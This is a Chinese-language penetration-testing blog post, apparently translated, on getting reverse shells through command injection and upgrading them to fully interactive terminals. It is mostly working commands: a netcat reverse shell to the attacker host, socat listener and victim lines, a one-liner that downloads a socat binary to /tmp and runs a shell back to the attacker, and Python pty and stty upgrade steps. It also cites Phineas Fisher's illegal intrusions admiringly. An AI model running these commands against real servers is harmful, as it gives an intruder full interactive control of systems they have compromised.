导语:每个pentester都知道,当用netcat反弹一个反向shell并且看到详细的netcat消息跟输出时,这种感觉爽歪歪。

每个pentester都知道,当用netcat反弹一个反向shell并且看到详细的netcat消息跟输出时,这种感觉爽歪歪。

当然他们也知道shell丢失时的沮丧,运行了一个不好的命令,挂起并且意外地击中“Ctrl-C”,认为它会阻止它,其实是杀死整个连接。

除了没有正确处理SIGINT之外,还有其他的缺点:

· 一些命令,像su和ssh要求一个正确的终端运行
· 通常不显示STDERR
· 无法正确使用文本编辑器 vim
· 没有标签完成
· 没有向上的箭头历史
· 没有工作控制
· 等等...

我遇到了一些很好的资源,包括“升级”这些shell的非常有用的技巧,并希望在一个帖子中编译和分享。随着Pentest Monkey,我还从Phineas Fisher的发布视频中了解了他的技术,并写道了他的非法活动:

Pentest Monkey - Post Exploitation Without a TTY
Phineas Fisher Hacks Catalan Police Union Website
Phineas Fisher - Hackingteam Writeup

作为参考,在所有屏幕截图和命令中,我正在向易受攻击的Web服务器(“VICTIM”)注入命令,并捕获我的Kali VM(“KALI”)中的shell:

VICTIM IP:10.0.3.7
KALI IP:10.0.3.4

生成反向shell命令

使用netcat反弹shell的传统方式:

nc -e /bin/sh 10.0.3.4 4444

并捕获(接收)它:

nc -lvp 4444

但是不是每个服务器都安装了netcat,而不是每个版本的netcat都有-e选项。

Pentest Monkey有一个详细各种语言反向shell方法,概述了一些不同的方法,但我最喜欢的技术是使用Metasploit msfvenom来为我生成单行命令。

Metasploit在“cmd / unix”下有几个可用于生成单线绑定或反向shell的payload:

这些有payload的任何一个都可用于msfvenom吐出所需的原始命令(指定LHOST,LPORT或RPORT)。这是一个不需要-e标志的netcat命令:

这里有一个Perl的oneliner如果netcat没有安装:

这些都可以通过使用netcat并监听指定的端口(4444)来接收(捕获)。

方法1:Python pty模块

该PTY模块让我们你生成一个伪终端,它可以执行命令su,以为他们是在一个合适的终端执行。要升级一个shell,只需运行以下命令:

python -c 'import pty; pty.spawn("/bin/bash")'

这样可以让你运行su

不幸的是,这并没有解决上述其他一些问题。SIGINT(Ctrl-C)仍然会关闭Netcat,没有选项卡完成或历史记录。

方法2:使用socat

socat是一個netcat(nc)的替代品,可以称得上nc++,是一个非常强大的网络瑞士军刀。可以使用Socat来传递完整的TTY的TCP连接。

如果socat安装在受害者服务器上,可以使用它启动反向shell。

以下命令将产生完全交互的TTY反向shell:

在kali(监听):

socat file:`tty`,raw,echo=0 tcp-listen:4444

受害人

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

如果没有安装socat。有独立的二进制文件可以从这个Github下载:

https://github.com/andrew-d/static-binaries

通过命令注入,可以将socat二进制文件下载到可写的目录,之后chmod,然后在一行中执行反向shell:

 wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash - li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444  nc

在kali,你会看到一个完全交互式的TTY会话。它支持SIGINT、SIGSTP、vim、向上箭头历史等。它是一个完整的终端。

方法3:升级netcat

我看着菲尼亚斯·费雪在他的黑客视频中使用这种技术,感觉很神奇。基本上可以通过stty在Kali终端中设置一些选项来使用笨重的网卡来升级到完整的TTY 。

首先,与方法1相同的技术,并使用Python来产生一个PTY。一旦bash在PTY中运行,背景与shell Ctrl-Z

当shell在后台时,现在检查当前终端和STTY信息,所以我们可以强制连接的shell匹配:

所需的信息是TERM类型(“xterm-256color”)和当前TTY的大小(“第38行;列116”)

在shell仍然背景的情况下,现在将当前STTY设置为raw,并使用以下命令来回显输入的字符:

stty raw -echo

使用原始stty,输入/输出将看起来很奇怪,您将看不到下一个命令,但是当您键入它们正在被处理时。

下一个前景与shell。它将重新打开反向shell,但格式化将关闭。最后,重新初始化终端reset。

注意:我没有nc再次键入命令(如上图所示)。我实际上进入了fg,但没有回应。该nc命令是现在处于前台的作业。reset然后将该命令输入到netcat shell中。

之后resetshell再次看起来正常。最后一步是设置shell,终端类型和stty大小以匹配我们当前的Kali窗口(从上面收集的信息)

$ export SHELL=bash
$ export TERM=xterm256-color
$ stty rows 38 columns 116

最终的结果是一个完全交互式的TTY,它具有我们期望的所有功能(tab-complete,history,job control等),通过netcat连接:

现在的可能性是无止境的。在netcat shell上的Tmux

几种方法:
使用Python作为伪装终端
python -c 'import pty; pty.spawn("/bin/bash")'

使用socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
     #Victim:
       socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

使用stty选项

# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
  Ctrl-Z
# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>

如果你还有其他炫酷的技能,请评论

源链接

Hacking more

...